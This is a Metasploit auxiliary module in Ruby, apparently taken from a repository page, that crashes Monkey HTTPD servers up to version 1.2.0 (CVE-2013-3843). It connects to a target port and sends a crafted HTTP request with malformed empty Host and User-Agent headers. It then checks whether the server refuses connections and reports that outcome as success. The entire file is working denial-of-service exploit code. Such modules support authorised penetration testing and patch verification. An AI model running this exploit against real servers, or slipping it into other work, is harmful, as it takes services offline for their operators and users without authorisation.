72 lines
1.6 KiB
Ruby
72 lines
1.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)',
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'Description' => %q{
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This module causes improper header parsing that leads to a segmentation fault
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due to a specially crafted HTTP request. Affects version <= 1.2.0.
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},
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'Author' =>
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[
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'Doug Prostko <dougtko[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-3843'],
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['OSVDB', '93853'],
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['BID', '60333']
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],
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'DisclosureDate' => 'May 30 2013'))
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register_options(
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[
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Opt::RPORT(2001)
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])
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end
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def dos
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req = "GET / HTTP/1.1\r\n"
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req << "Host:\r\n\r\nlocalhost\r\n"
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req << "User-Agent:\r\n\r\n"
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connect
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sock.put(req)
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disconnect
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end
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def is_alive?
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begin
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connect
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rescue Rex::ConnectionRefused
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return false
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ensure
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disconnect
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end
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true
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end
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def run
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print_status("#{rhost}:#{rport} - Sending DoS packet...")
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dos
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print_status("#{rhost}:#{rport} - Checking server status...")
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select(nil, nil, nil, 1)
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if is_alive?
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print_error("#{rhost}:#{rport} - Server is still alive")
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else
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print_good("#{rhost}:#{rport} - Connection Refused: Success!")
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end
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end
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end
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